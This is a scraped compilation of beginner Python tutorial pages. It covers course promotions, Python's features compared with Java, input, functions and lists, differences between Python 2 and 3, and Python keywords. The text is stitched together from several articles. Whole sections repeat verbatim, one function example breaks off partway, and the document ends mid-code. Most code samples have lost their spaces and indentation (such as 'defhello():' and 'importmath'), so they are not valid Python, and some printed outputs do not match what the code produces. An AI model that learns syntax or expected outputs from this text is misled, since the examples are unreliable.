Machine Learning is the field of study that gives computers the capability to learn without being explicitly programmed. ML is one of the most exciting technologies that one would have ever come across. As it is evident from the name, it gives the computer that makes it more similar to humans: The ability to learn. Machine learning is actively being used today, perhaps in many more places than one would expect.
Machine Learning is an essential skill for any aspiring data analyst and data scientist, and also for those who wish to transform a massive amount of raw data into trends and predictions. Learn this skill today with Machine Learning Foundation – Self Paced Course, designed and curated by industry experts having years of expertise in ML and industry-based projects.
Machines are learning, so why do you wish to get left behind? Strengthen your ML and AI foundations today and become future ready. This self-paced course will help you learn advanced concepts like- Regression, Classification, Data Dimensionality and much more. Also included- Projects that will help you get hands-on experience. So wait no more, and strengthen your Machine Learning Foundations.
Every organisation now relies on data before making any important decisions regarding their future. So, it is safe to say that Data is really the king now. So why do you want to get left behind? This LIVE course will introduce the learner to advanced concepts like: Linear Regression, Naive Bayes & KNN, Numpy, Pandas, Matlab & much more. You will also get to work on real-life projects through the course. So wait no more, Become a Data Science Expert now.
Kivy is a graphical user interface opensource Python library that allows you to develop multi-platform applications on Windows, macOS, Android, iOS, Linux, and Raspberry-Pi. In addition to the regular mouse and keyboard inputs, it also supports multitouch events. The applications made using Kivy will similar across all the platforms but it also means that the applications fell or look will differ from any native application.
Django is a Python-based web framework that allows you to quickly create efficient web applications. It is also called batteries included framework because Django provides built-in features for everything including Django Admin Interface, default database – SQLlite3, etc. When you’re building a website, you always need a similar set of components: a way to handle user authentication (signing up, signing in, signing out), a management panel for your website, forms, a way to upload files, etc. Django gives you ready-made components to use and that too for rapid development.
Why Django Framework ?
Excellent documentation and high scalability.
Used by Top MNCs and Companies, such as Instagram, Disqus, Spotify, Youtube, Bitbucket, Dropbox, etc. and the list is never-ending.
Easiest Framework to learn, rapid development and Batteries fully included.
The last but not least reason to learn Django is Python, Python has huge library and features such as Web Scrapping, Machine Learning, Image Processing, Scientific Computing, etc. One can integrate it all this with web application and do lots and lots of advance stuff.
OpenCV is a huge open-source library for computer vision, machine learning, and image processing. OpenCV supports a wide variety of programming languages like Python, C++, Java, etc. It can process images and videos to identify objects, faces, or even the handwriting of a human. When it is integrated with various libraries, such as Numpy which is a highly optimized library for numerical operations, then the number of weapons increases in your Arsenal i.e whatever operations one can do in Numpy can be combined with OpenCV.
This OpenCV tutorial will help you learn the Image-processing from Basics to Advance, like operations on Images, Videos using a huge set of Opencv-programs and projects.
Python is a widely used general-purpose, high level programming language. It was created by Guido van Rossum in 1991 and further developed by the Python Software Foundation. It was designed with an emphasis on code readability, and its syntax allows programmers to express their concepts in fewer lines of code.
Python is a programming language that lets you work quickly and integrate systems more efficiently.
There are two major Python versions: Python 2 and Python 3. Both are quite different.
Beginning with Python programming:
1) Finding an Interpreter:
Before we start Python programming, we need to have an interpreter to interpret and run our programs. There are certain online interpreters like https://ide.geeksforgeeks.org/ that can be used to run Python programs without installing an interpreter.
Windows: There are many interpreters available freely to run Python scripts like IDLE (Integrated Development Environment) that comes bundled with the Python software downloaded from http://python.org/.
Linux: Python comes preinstalled with popular Linux distros such as Ubuntu and Fedora. To check which version of Python you’re running, type “python” in the terminal emulator. The interpreter should start and print the version number.
macOS: Generally, Python 2.7 comes bundled with macOS. You’ll have to manually install Python 3 from http://python.org/.
2) Writing our first program:
Just type in the following code after you start the interpreter.
# Script Begins
print("GeeksQuiz")
# Scripts Ends
Output:
GeeksQuiz
Let’s analyze the script line by line.
Line 1: [# Script Begins] In Python, comments begin with a #. This statement is ignored by the interpreter and serves as documentation for our code.
Line 2: [print(“GeeksQuiz”)] To print something on the console, print() function is used. This function also adds a newline after our message is printed(unlike in C). Note that in Python 2, “print” is not a function but a keyword and therefore can be used without parentheses. However, in Python 3, it is a function and must be invoked with parentheses.
Line 3: [# Script Ends] This is just another comment like in Line 1.
Python designed by Guido van Rossum at CWI has become a widely used general-purpose, high-level programming language.
Prerequisites:
Knowledge of any programming language can be a plus.
Reason for increasing popularity
Emphasis on code readability, shorter codes, ease of writing
Programmers can express logical concepts in fewer lines of code in comparison to languages such as C++ or Java.
Python supports multiple programming paradigms, like object-oriented, imperative and functional programming or procedural.
There exists inbuilt functions for almost all of the frequently used concepts.
Philosophy is “Simplicity is the best”.
LANGUAGE FEATURES
Interpreted
There are no separate compilation and execution steps like C and C++.
Directly run the program from the source code.
Internally, Python converts the source code into an intermediate form called bytecodes which is then translated into native language of specific computer to run it.
No need to worry about linking and loading with libraries, etc.
Platform Independent
Python programs can be developed and executed on multiple operating system platforms.
Python can be used on Linux, Windows, Macintosh, Solaris and many more.
Free and Open Source; Redistributable
High-level Language
In Python, no need to take care about low-level details such as managing the memory used by the program.
Simple
Closer to English language;Easy to Learn
More emphasis on the solution to the problem rather than the syntax
Embeddable
Python can be used within C/C++ program to give scripting capabilities for the program’s users.
Robust:
Exceptional handling features
Memory management techniques in built
Rich Library Support
The Python Standard Library is vary vast.
Known as the “batteries included” philosophy of Python ;It can help do various things involving regular expressions, documentation generation, unit testing, threading, databases, web browsers, CGI, email, XML, HTML, WAV files, cryptography, GUI and many more.
Besides the standard library, there are various other high-quality libraries such as the Python Imaging Library which is an amazingly simple image manipulation library.
Python vs JAVA
Python
Java
Dynamically Typed1.No need to declare anything. An assignment statement binds a name to an object, and the object can be of any type.2.No type casting required when using container objects
Statically Typed 1.All variable names (along with their types) must be explicitly declared. Attempting to assign an object of the wrong type to a variable name triggers a type exception.2.Type casting is required when using container objects.
ConciseExpress much in limited words
VerboseContains more words
Compact
Less Compact
Uses Indentation for structuring code
Uses braces for structuring code
The classical Hello World program illustrating the relative verbosity of a Java Program and Python Program Java Code
publicclassHelloWorld
{
publicstaticvoidmain (String[] args)
{
System.out.println("Hello, world!");
}
}
Python Code
print("Hello, world!")
Similarity with Java
Require some form of runtime on your system (JVM/Python runtime)
Can probably be compiled to executables without the runtime (this is situational, none of them are designed to work this way)
LOOK and FEEL of the Python
GUI
Command Line interface
Softwares making use of Python
Python has been successfully embedded in a number of software products as a scripting language.
GNU Debugger uses Python as a pretty printer to show complex structures such as C++ containers.
Python has also been used in artificial intelligence
Python is often used for natural language processing tasks.
Current Applications of Python
A number of Linux distributions use installers written in Python example in Ubuntu we have the Ubiquity
Python has seen extensive use in the information security industry, including in exploit development.
Raspberry Pi– single board computer uses Python as its principal user-programming language.
Python is now being used Game Development areas also.
Pros:
Ease of use
Multi-paradigm Approach
Cons:
Slow speed of execution compared to C,C++
Absence from mobile computing and browsers
For the C,C++ programmers switching to python can be irritating as the language requires proper indentation of code. Certain variable names commonly used like sum are functions in python. So C, C++ programmers have to look out for these.
Industrial Importance
Most of the companies are now looking for candidates who know about Python Programming. Those having the knowledge of python may have more chances of impressing the interviewing panel. So I would suggest that beginners should start learning python and excel in it.
Python is a high-level, interpreted, and general-purpose dynamic programming language that focuses on code readability. It has fewer steps when compared to Java and C. It was founded in 1991 by developer Guido Van Rossum. Python ranks among the most popular and fastest-growing languages in the world. Python is a powerful, flexible, and easy-to-use language. In addition, the community is very active there. It is used in many organizations as it supports multiple programming paradigms. It also performs automatic memory management.
Advantages :
Presence of third-party modules
Extensive support libraries(NumPy for numerical calculations, Pandas for data analytics etc)
Open source and community development
Versatile, Easy to read, learn and write
User-friendly data structures
High-level language
Dynamically typed language(No need to mention data type based on the value assigned, it takes data type)
Object-oriented language
Portable and Interactive
Ideal for prototypes – provide more functionality with less coding
Highly Efficient(Python’s clean object-oriented design provides enhanced process control, and the language is equipped with excellent text processing and integration capabilities, as well as its own unit testing framework, which makes it more efficient.)
(IoT)Internet of Things Opportunities
Interpreted Language
Portable across Operating systems
Applications :
GUI based desktop applications
Graphic design, image processing applications, Games, and Scientific/ computational Applications
Web frameworks and applications
Enterprise and Business applications
Operating Systems
Education
Database Access
Language Development
Prototyping
Software Development
Organizations using Python :
Google(Components of Google spider and Search Engine)
Yahoo(Maps)
YouTube
Mozilla
Dropbox
Microsoft
Cisco
Spotify
Quora
So before moving on further.. let’s do the most popular ‘HelloWorld’ tradition 😛 and hence compare Python’s Syntax with C, C++, Java ( I have taken these 3 because they are most famous and mostly used languages).
# Python code for "Hello World"
# nothing else to type...see how simple is the syntax.
print("Hello World")
Note: Please note that Python for its scope doesn’t depend on the braces ( { } ), instead it uses indentation for its scope. Now moving on further Lets start our basics of Python . I will be covering the basics in some small sections. Just go through them and trust me you’ll learn the basics of Python very easily.
If you are on Windows OS download Python by Clicking here and now install from the setup and in the start menu type IDLE.IDLE, you can think it as an Python’s IDE to run the Python Scripts.
It will look somehow this :
If you are on Linux/Unix-like just open the terminal and on 99% linux OS Python comes preinstalled with the OS.Just type ‘python3’ in terminal and you are ready to go. It will look like this :
The ” >>> ” represents the python shell and its ready to take python commands and code.
In other programming languages like C, C++, and Java, you will need to declare the type of variables but in Python you don’t need to do that. Just type in the variable and when values will be given to it, then it will automatically know whether the value given would be an int, float, or char or even a String.
# Python program to declare variables
myNumber =3
print(myNumber)
myNumber2 =4.5
print(myNumber2)
myNumber ="helloworld"
print(myNumber)
Output:
3
4.5
helloworld
See, how simple is it, just create a variable and assign it any value you want and then use the print function to print it. Python have 4 types of built in Data Structures namely List, Dictionary, Tuple and Set.
List is the most basic Data Structure in python. List is a mutable data structure i.e items can be added to list later after the list creation. It’s like you are going to shop at the local market and made a list of some items and later on you can add more and more items to the list. append() function is used to add data to the list.
# Python program to illustrate a list
# creates a empty list
nums =[]
# appending data in list
nums.append(21)
nums.append(40.5)
nums.append("String")
print(nums)
Output:
[21, 40.5, String]
Comments:
# is used for single line comment in Python
""" this is a comment """ is used for multi line comments
Input and Output
In this section, we will learn how to take input from the user and hence manipulate it or simply display it. input() function is used to take input from the user.
# Python program to illustrate
# getting input from user
name =input("Enter your name: ")
# user entered the name 'harssh'
print("hello", name)
Output:
hello harssh
# Python3 program to get input from user
# accepting integer from the user
# the return type of input() function is string ,
# so we need to convert the input to integer
num1 =int(input("Enter num1: "))
num2 =int(input("Enter num2: "))
num3 =num1 *num2
print("Product is: ", num3)
Output:
Enter num1: 8 Enter num2: 6 ('Product is: ', 48)
Selection
Selection in Python is made using the two keywords ‘if’ and ‘elif’ and else (elseif)
# Python program to illustrate
# selection statement
num1 =34
if(num1>12):
print("Num1 is good")
elif(num1>35):
print("Num2 is not gooooo....")
else:
print("Num2 is great")
Output:
Num1 is good
Functions
You can think of functions like a bunch of code that is intended to do a particular task in the whole Python script. Python used the keyword ‘def’ to define a function. Syntax:
def function-name(arguments):
#function body
# Python program to illustrate
# functions
defhello():
print("hello")
print("hello again")
hello()
# calling function
hello()
Output:
hello
hello again
hello
hello again
Now as we know any program starts from a ‘main’ function…lets create a main function like in many other programming languages.
# Python program to illustrate
# function with main
defgetInteger():
result =int(input("Enter integer: "))
returnresult
defMain():
print("Started")
# calling the getInteger function and
# storing its returned value in the output variable
Python has a very rich module library that has several functions to do many tasks. You can read more about Python’s standard library by Clicking here ‘import’ keyword is used to import a particular module into your python code. For instance consider the following program.
New to the programming world, don’t know where to start? Start with beginner-friendly Python Programming Foundation -Self Paced Course designed for absolute beginners who wish to kickstart and build their foundations in Python programming language. Learn Python basics, Variables & Data types, Operators etc and learn how to solve coding problems efficiently in Python. Don’t wait, sign up now and kickstart your Python journey today.
If you’re curious to upgrade your Python skills, you’ve come to the right platform! In this DS Using Python Programming – Self Paced Course, designed for Python enthusiasts where you’ll be guided by the leading industry experts who will explain in-depth, and efficient methods to implement data structures such as heaps, stacks, and linked lists etc. So, what are you waiting for? Advance your Python skills today.
Python was developed by Guido van Rossum in the early 1990s and its latest version is 3.10.4, we can simply call it as Python3. Python 3.0 was released in 2008. and is interpreted language i.e it’s not compiled and the interpreter will check the code line by line. This article can used to learn very basics of Python programming language.
So before moving on further.. let’s do the most popular ‘HelloWorld’ tradition 😛 and hence compare Python’s Syntax with C, C++, Java ( I have taken these 3 because they are most famous and mostly used languages).
# Python code for "Hello World"
# nothing else to type...see how simple is the syntax.
print("Hello World")
Note: Please note that Python for its scope doesn’t depend on the braces ( { } ), instead it uses indentation for its scope. Now moving on further Lets start our basics of Python . I will be covering the basics in some small sections. Just go through them and trust me you’ll learn the basics of Python very easily.
If you are on Windows OS download Python by Clicking here and now install from the setup and in the start menu type IDLE.IDLE, you can think it as an Python’s IDE to run the Python Scripts.
It will look somehow this :
If you are on Linux/Unix-like just open the terminal and on 99% linux OS Python comes preinstalled with the OS.Just type ‘python3’ in terminal and you are ready to go. It will look like this :
The ” >>> ” represents the python shell and its ready to take python commands and code.
In other programming languages like C, C++, and Java, you will need to declare the type of variables but in Python you don’t need to do that. Just type in the variable and when values will be given to it, then it will automatically know whether the value given would be an int, float, or char or even a String.
# Python program to declare variables
myNumber =3
print(myNumber)
myNumber2 =4.5
print(myNumber2)
myNumber ="helloworld"
print(myNumber)
Output:
3
4.5
helloworld
See, how simple is it, just create a variable and assign it any value you want and then use the print function to print it. Python have 4 types of built in Data Structures namely List, Dictionary, Tuple and Set.
List is the most basic Data Structure in python. List is a mutable data structure i.e items can be added to list later after the list creation. It’s like you are going to shop at the local market and made a list of some items and later on you can add more and more items to the list. append() function is used to add data to the list.
# Python program to illustrate a list
# creates a empty list
nums =[]
# appending data in list
nums.append(21)
nums.append(40.5)
nums.append("String")
print(nums)
Output:
[21, 40.5, String]
Comments:
# is used for single line comment in Python
""" this is a comment """ is used for multi line comments
Input and Output
In this section, we will learn how to take input from the user and hence manipulate it or simply display it. input() function is used to take input from the user.
# Python program to illustrate
# getting input from user
name =input("Enter your name: ")
# user entered the name 'harssh'
print("hello", name)
Output:
hello harssh
# Python3 program to get input from user
# accepting integer from the user
# the return type of input() function is string ,
# so we need to convert the input to integer
num1 =int(input("Enter num1: "))
num2 =int(input("Enter num2: "))
num3 =num1 *num2
print("Product is: ", num3)
Output:
Enter num1: 8 Enter num2: 6 ('Product is: ', 48)
Selection
Selection in Python is made using the two keywords ‘if’ and ‘elif’ and else (elseif)
# Python program to illustrate
# selection statement
num1 =34
if(num1>12):
print("Num1 is good")
elif(num1>35):
print("Num2 is not gooooo....")
else:
print("Num2 is great")
Output:
Num1 is good
Functions
You can think of functions like a bunch of code that is intended to do a particular task in the whole Python script. Python used the keyword ‘def’ to define a function. Syntax:
def function-name(arguments):
#function body
# Python program to illustrate
# functions
defhello():
print("hello")
print("hello again")
hello()
# calling function
hello()
Output:
hello
hello again
hello
hello again
Now as we know any program starts from a ‘main’ function…lets create a main function like in many other programming languages.
# Python program to illustrate
# function with main
defgetInteger():
result =int(input("Enter integer: "))
returnresult
defMain():
print("Started")
# calling the getInteger function and
# storing its returned value in the output variable
Python has a very rich module library that has several functions to do many tasks. You can read more about Python’s standard library by Clicking here ‘import’ keyword is used to import a particular module into your python code. For instance consider the following program.
# Python program to illustrate
# math module
importmath
defMain():
num =-85
# fabs is used to get the absolute
# value of a decimal
num =math.fabs(num)
print(num)
if__name__=="__main__":
Main()
Output:
85.0
These are some of the most basics of the Python programming language and I will be covering both the intermediate and advanced level Python topics in my upcoming articles.
This article is contributed by Harsh Wardhan Chaudhary. If you like GeeksforGeeks and would like to contribute, you can also write an article using contribute.geeksforgeeks.org or mail your article to contribute@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks. Your article will be reviewed first by Geeks for Geeks team before publishing.
Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
Python designed by Guido van Rossum at CWI has become a widely used general-purpose, high-level programming language.
Prerequisites:
Knowledge of any programming language can be a plus.
Reason for increasing popularity
Emphasis on code readability, shorter codes, ease of writing
Programmers can express logical concepts in fewer lines of code in comparison to languages such as C++ or Java.
Python supports multiple programming paradigms, like object-oriented, imperative and functional programming or procedural.
There exists inbuilt functions for almost all of the frequently used concepts.
Philosophy is “Simplicity is the best”.
LANGUAGE FEATURES
Interpreted
There are no separate compilation and execution steps like C and C++.
Directly run the program from the source code.
Internally, Python converts the source code into an intermediate form called bytecodes which is then translated into native language of specific computer to run it.
No need to worry about linking and loading with libraries, etc.
Platform Independent
Python programs can be developed and executed on multiple operating system platforms.
Python can be used on Linux, Windows, Macintosh, Solaris and many more.
Free and Open Source; Redistributable
High-level Language
In Python, no need to take care about low-level details such as managing the memory used by the program.
Simple
Closer to English language;Easy to Learn
More emphasis on the solution to the problem rather than the syntax
Embeddable
Python can be used within C/C++ program to give scripting capabilities for the program’s users.
Robust:
Exceptional handling features
Memory management techniques in built
Rich Library Support
The Python Standard Library is vary vast.
Known as the “batteries included” philosophy of Python ;It can help do various things involving regular expressions, documentation generation, unit testing, threading, databases, web browsers, CGI, email, XML, HTML, WAV files, cryptography, GUI and many more.
Besides the standard library, there are various other high-quality libraries such as the Python Imaging Library which is an amazingly simple image manipulation library.
Python vs JAVA
Python
Java
Dynamically Typed1.No need to declare anything. An assignment statement binds a name to an object, and the object can be of any type.2.No type casting required when using container objects
Statically Typed 1.All variable names (along with their types) must be explicitly declared. Attempting to assign an object of the wrong type to a variable name triggers a type exception.2.Type casting is required when using container objects.
ConciseExpress much in limited words
VerboseContains more words
Compact
Less Compact
Uses Indentation for structuring code
Uses braces for structuring code
The classical Hello World program illustrating the relative verbosity of a Java Program and Python Program Java Code
publicclassHelloWorld
{
publicstaticvoidmain (String[] args)
{
System.out.println("Hello, world!");
}
}
Python Code
print("Hello, world!")
Similarity with Java
Require some form of runtime on your system (JVM/Python runtime)
Can probably be compiled to executables without the runtime (this is situational, none of them are designed to work this way)
LOOK and FEEL of the Python
GUI
Command Line interface
Softwares making use of Python
Python has been successfully embedded in a number of software products as a scripting language.
GNU Debugger uses Python as a pretty printer to show complex structures such as C++ containers.
Python has also been used in artificial intelligence
Python is often used for natural language processing tasks.
Current Applications of Python
A number of Linux distributions use installers written in Python example in Ubuntu we have the Ubiquity
Python has seen extensive use in the information security industry, including in exploit development.
Raspberry Pi– single board computer uses Python as its principal user-programming language.
Python is now being used Game Development areas also.
Pros:
Ease of use
Multi-paradigm Approach
Cons:
Slow speed of execution compared to C,C++
Absence from mobile computing and browsers
For the C,C++ programmers switching to python can be irritating as the language requires proper indentation of code. Certain variable names commonly used like sum are functions in python. So C, C++ programmers have to look out for these.
Industrial Importance
Most of the companies are now looking for candidates who know about Python Programming. Those having the knowledge of python may have more chances of impressing the interviewing panel. So I would suggest that beginners should start learning python and excel in it.
GeeksforGeeks is very soon going to introduce programming in Python too.
Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
Article By Mudit Maheshwari:
A 3rd-year B.Tech IT student from VIT University, Vellore having a keen interest in coding, learning about new technology, and developing software. Besides being passionate about coding, he also loves playing guitar and singing. Currently staying in Chennai. You can reach him at mudit94@gmail.com.
If you also wish to showcase your blog here,please see GBlog for guest blog writing on GeeksforGeeks.
My Personal Notesarrow_drop_up
Important differences between Python 2.x and Python 3.x with examples
If we are porting our code or executing python 3.x code in python 2.x, it can be dangerous if integer division changes go unnoticed (since it doesn’t raise any error). It is preferred to use the floating value (like 7.0/5 or 7/5.0) to get the expected result when porting our code.
This is the most well-known change. In this, the print keyword in Python 2.x is replaced by the print() function in Python 3.x. However, parentheses work in Python 2 if space is added after the print keyword because the interpreter evaluates it as an expression.
As we can see, if we use parentheses in python 2.x then there is no issue but if we don’t use parentheses in python 3.x, we get SyntaxError.
Unicode:
In Python 2, an implicit str type is ASCII. But in Python 3.x implicit str type is Unicode.
Python
print(type('default string '))
print(type(b'string with b '))
'''
Output in Python 2.x (Bytes is same as str)
<type 'str'>
<type 'str'>
Output in Python 3.x (Bytes and str are different)
<class 'str'>
<class 'bytes'>
'''
Python 2.x also supports Unicode
Python
print(type('default string '))
print(type(u'string with b '))
'''
Output in Python 2.x (Unicode and str are different)
<type 'str'>
<type 'unicode'>
Output in Python 3.x (Unicode and str are same)
<class 'str'>
<class 'str'>
'''
xrange:
xrange() of Python 2.x doesn’t exist in Python 3.x. In Python 2.x, range returns a list i.e. range(3) returns [0, 1, 2] while xrange returns a xrange object i. e., xrange(3) returns iterator object which works similar to Java iterator and generates number when needed. If we need to iterate over the same sequence multiple times, we prefer range() as range provides a static list. xrange() reconstructs the sequence every time. xrange() doesn’t support slices and other list methods. The advantage of xrange() is, it saves memory when the task is to iterate over a large range. In Python 3.x, the range function now does what xrange does in Python 2.x, so to keep our code portable, we might want to stick to using a range instead. So Python 3.x’s range function is xrange from Python 2.x.
Python
forx inxrange(1, 5):
print(x),
forx inrange(1, 5):
print(x),
'''
Output in Python 2.x
1 2 3 4 1 2 3 4
Output in Python 3.x
NameError: name 'xrange' is not defined
'''
Error Handling:
There is a small change in error handling in both versions. In python 3.x, ‘as’ keyword is required.
Python
try:
trying_to_check_error
exceptNameError, err:
printerr, 'Error Caused'# Would not work in Python 3.x
'''
Output in Python 2.x:
name 'trying_to_check_error' is not defined Error Caused
Output in Python 3.x :
File "a.py", line 3
except NameError, err:
^
SyntaxError: invalid syntax
'''
Python
try:
trying_to_check_error
exceptNameError as err: # 'as' is needed in Python 3.x
print(err, 'Error Caused')
'''
Output in Python 2.x:
(NameError("name 'trying_to_check_error' is not defined",), 'Error Caused')
Output in Python 3.x :
name 'trying_to_check_error' is not defined Error Caused
'''
__future__ module:
This is basically not a difference between the two versions, but a useful thing to mention here. The idea of the __future__ module is to help migrate to Python 3.x. If we are planning to have Python 3.x support in our 2.x code, we can use _future_ imports in our code. For example, in the Python 2.x code below, we use Python 3.x’s integer division behavior using the __future__ module.
Python
# In below python 2.x code, division works
# same as Python 3.x because we use __future__
from__future__ importdivision
print7/5
print-7/5
Output :
1.4
-1.4
Another example where we use brackets in Python 2.x using __future__ module:
Python
from__future__ importprint_function
print('GeeksforGeeks')
Output:
GeeksforGeeks
Refer to this for more details of the __future__ module.
This article is contributed by Arpit Agarwal. If you like GeeksforGeeks and would like to contribute, you can also write an article and mail your article to contribute@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
Let’s discuss each keyword in detail with the help of good examples.
True, False, None
True: This keyword is used to represent a boolean true. If a statement is true, “True” is printed.
False: This keyword is used to represent a boolean false. If a statement is false, “False” is printed.
None: This is a special constant used to denote a null value or a void. It’s important to remember, 0, any empty container(e.g empty list) does not compute to None. It is an object of its datatype – NoneType. It is not possible to create multiple None objects and can assign them to variables.
Example: True, False, and None Keyword
Python3
print(False==0)
print(True==1)
print(True+True+True)
print(True+False+False)
print(None==0)
print(None==[])
Output
True
True
3
1
False
False
and, or, not, in, is
and: This a logical operator in python. “and” Return the first false value. If not found return last. The truth table for “and” is depicted below.
3 and 0 returns 0
3 and 10 returns 10
10 or 20 or 30 or 10 or 70 returns 10
The above statements might be a bit confusing to a programmer coming from a language like C where the logical operators always return boolean values(0 or 1). Following lines are straight from the python docs explaining this:
The expression x and y first evaluates x; if x is false, its value is returned; otherwise, y is evaluated and the resulting value is returned.
The expression x or y first evaluates x; if x is true, its value is returned; otherwise, y is evaluated and the resulting value is returned.
Note that neither and nor or restrict the value and type they return to False and True, but rather return the last evaluated argument. This is sometimes useful, e.g., if s is a string that should be replaced by a default value if it is empty, the expression s or ‘foo’ yields the desired value. Because not has to create a new value, it returns a boolean value regardless of the type of its argument (for example, not ‘foo’ produces False rather than ”.)
or: This a logical operator in python. “or” Return the first True value.if not found return last. The truth table for “or” is depicted below.
3 or 0 returns 3
3 or 10 returns 3
0 or 0 or 3 or 10 or 0 returns 3
not: This logical operator inverts the truth value. The truth table for “not” is depicted below.
in: This keyword is used to check if a container contains a value. This keyword is also used to loop through the container.
is: This keyword is used to test object identity, i.e to check if both the objects take the same memory location or not.
Example: and, or, not, is and in keyword
Python
# showing logical operation
# or (returns True)
print(TrueorFalse)
# showing logical operation
# and (returns False)
print(FalseandTrue)
# showing logical operation
# not (returns False)
print(notTrue)
# using "in" to check
if's'in'geeksforgeeks':
print("s is part of geeksforgeeks")
else:
print("s is not part of geeksforgeeks")
# using "in" to loop through
fori in'geeksforgeeks':
print(i, end=" ")
print("\r")
# using is to check object identity
# string is immutable( cannot be changed once allocated)
# hence occupy same memory location
print(' 'is' ')
# using is to check object identity
# dictionary is mutable( can be changed once allocated)
# hence occupy different memory location
print({} is{})
Output:
True
False
False
s is part of geeksforgeeks
g e e k s f o r g e e k s
True
False
Iteration Keywords – for, while, break, continue
for: This keyword is used to control flow and for looping.
while: Has a similar working like “for”, used to control flow and for looping.
break: “break” is used to control the flow of the loop. The statement is used to break out of the loop and passes the control to the statement following immediately after loop.
continue: “continue” is also used to control the flow of code. The keyword skips the current iteration of the loop but does not end the loop.
Example: For, while, break, continue keyword
Python3
# Using for loop
fori inrange(10):
print(i, end =" ")
# break the loop as soon it sees 6
ifi ==6:
break
print()
# loop from 1 to 10
i =0
whilei <10:
# If i is equals to 6,
# continue to next iteration
# without printing
ifi ==6:
i+=1
continue
else:
# otherwise print the value
# of i
print(i, end =" ")
i +=1
Output
0 1 2 3 4 5 6
0 1 2 3 4 5 7 8 9
Conditional keywords – if, else, elif
if : It is a control statement for decision making. Truth expression forces control to go in “if” statement block.
else : It is a control statement for decision making. False expression forces control to go in “else” statement block.
elif : It is a control statement for decision making. It is short for “else if“
Example: if, else, and elif keyword
Python3
# Python program to illustrate if-elif-else ladder
with keyword is used to wrap the execution of block of code within methods defined by context manager. This keyword is not used much in day to day programming.
Example: With Keyword
Python3
# using with statement
with open('file_path', 'w') as file:
file.write('hello world !')
as
as keyword is used to create the alias for the module imported. i.e giving a new name to the imported module. E.g import math as mymath.
Example: as Keyword
Python3
importmath as gfg
print(gfg.factorial(5))
Output
120
pass
passis the null statement in python. Nothing happens when this is encountered. This is used to prevent indentation errors and used as a placeholder.
Example: Pass Keyword
Python3
n =10
fori inrange(n):
# pass can be used as placeholder
# when code is to added later
pass
Lambda
Lambda keyword is used to make inline returning functions with no statements allowed internally.
Example: Lambda Keyword
Python3
# Lambda keyword
g =lambdax: x*x*x
print(g(7))
Output
343
Import, From
import : This statement is used to include a particular module into current program.
from : Generally used with import, from is used to import particular functionality from the module imported.
Example: Import, From Keyword
Python3
# import keyword
importmath
print(math.factorial(10))
# from keyword
frommath importfactorial
print(factorial(10))
Output
3628800
3628800
Exception Handling Keywords – try, except, raise, finally, and assert
try : This keyword is used for exception handling, used to catch the errors in the code using the keyword except. Code in “try” block is checked, if there is any type of error, except block is executed.
except : As explained above, this works together with “try” to catch exceptions.
finally : No matter what is result of the “try” block, block termed “finally” is always executed.
raise: We can raise an exception explicitly with the raise keyword
assert: This function is used for debugging purposes. Usually used to check the correctness of code. If a statement is evaluated to be true, nothing happens, but when it is false, “AssertionError” is raised. One can also print a message with the error, separated by a comma.
Example: try, except, raise, finally, and assert Keywords
Python3
# initializing number
a =4
b =0
# No exception Exception raised in try block
try:
k =a//b # raises divide by zero exception.
print(k)
# handles zerodivision exception
exceptZeroDivisionError:
print("Can't divide by zero")
finally:
# this block is always executed
# regardless of exception generation.
print('This is always executed')
# assert Keyword
# using assert to check for 0
print("The value of a / b is : ")
assertb !=0, "Divide by 0 error"
print(a /b)
Output
Can't divide by zero
This is always executed
The value of a / b is :
AssertionError: Divide by 0 error
delis used to delete a reference to an object. Any variable or list value can be deleted using del.
Example: del Keyword
Python3
my_variable1 =20
my_variable2 ="GeeksForGeeks"
# check if my_variable1 and my_variable2 exists
print(my_variable1)
print(my_variable2)
# delete both the variables
delmy_variable1
delmy_variable2
# check if my_variable1 and my_variable2 exists
print(my_variable1)
print(my_variable2)
Output
20
GeeksForGeeks
NameError: name 'my_variable1' is not defined
Global, Nonlocal
global: This keyword is used to define a variable inside the function to be of a global scope.
non-local : This keyword works similar to the global, but rather than global, this keyword declares a variable to point to variable of outside enclosing function, in case of nested functions.
This article is contributed by Manjeet Singh(S. Nandini). If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
More keywords: 16. try : This keyword is used for exception handling, used to catch the errors in the code using the keyword except. Code in “try” block is checked, if there is any type of error, except block is executed.
17. except : As explained above, this works together with “try” to catch exceptions.
18. raise : Also used for exception handling to explicitly raise exceptions.
19. finally : No matter what is result of the “try” block, block termed “finally” is always executed. Detailed article –Exception Handling in Python
20. for : This keyword is used to control flow and for looping.
21. while : Has a similar working like “for” , used to control flow and for looping.
22. pass : It is the null statement in python. Nothing happens when this is encountered. This is used to prevent indentation errors and used as a placeholder Detailed Article – for, while, pass
23. import : This statement is used to include a particular module into current program.
24. from : Generally used with import, from is used to import particular functionality from the module imported.
25. as : This keyword is used to create the alias for the module imported. i.e giving a new name to the imported module. E.g import math as mymath. Detailed Article – import, from and as
26. lambda : This keyword is used to make inline returning functions with no statements allowed internally. Detailed Article – map, filter, lambda
27. return : This keyword is used to return from the function. Detailed article – Return values in Python.
28. yield : This keyword is used like return statement but is used to return a generator. Detailed Article – yield keyword
29. with : This keyword is used to wrap the execution of block of code within methods defined by context manager.This keyword is not used much in day to day programming.
30. in : This keyword is used to check if a container contains a value. This keyword is also used to loop through the container.
31. is : This keyword is used to test object identity, i.e to check if both the objects take same memory location or not.
Python
# Python code to demonstrate working of
# in and is
# using "in" to check
if's'in'geeksforgeeks':
print("s is part of geeksforgeeks")
else: print("s is not part of geeksforgeeks")
# using "in" to loop through
fori in'geeksforgeeks':
print(i,end=" ")
print("\r")
# using is to check object identity
# string is immutable( cannot be changed once allocated)
# hence occupy same memory location
print(' 'is' ')
# using is to check object identity
# dictionary is mutable( can be changed once allocated)
# hence occupy different memory location
print({} is{})
Output:
s is part of geeksforgeeks
g e e k s f o r g e e k s
True
False
32. global : This keyword is used to define a variable inside the function to be of a global scope.
33. non-local : This keyword works similar to the global, but rather than global, this keyword declares a variable to point to variable of outside enclosing function, in case of nested functions.
Python
# Python code to demonstrate working of
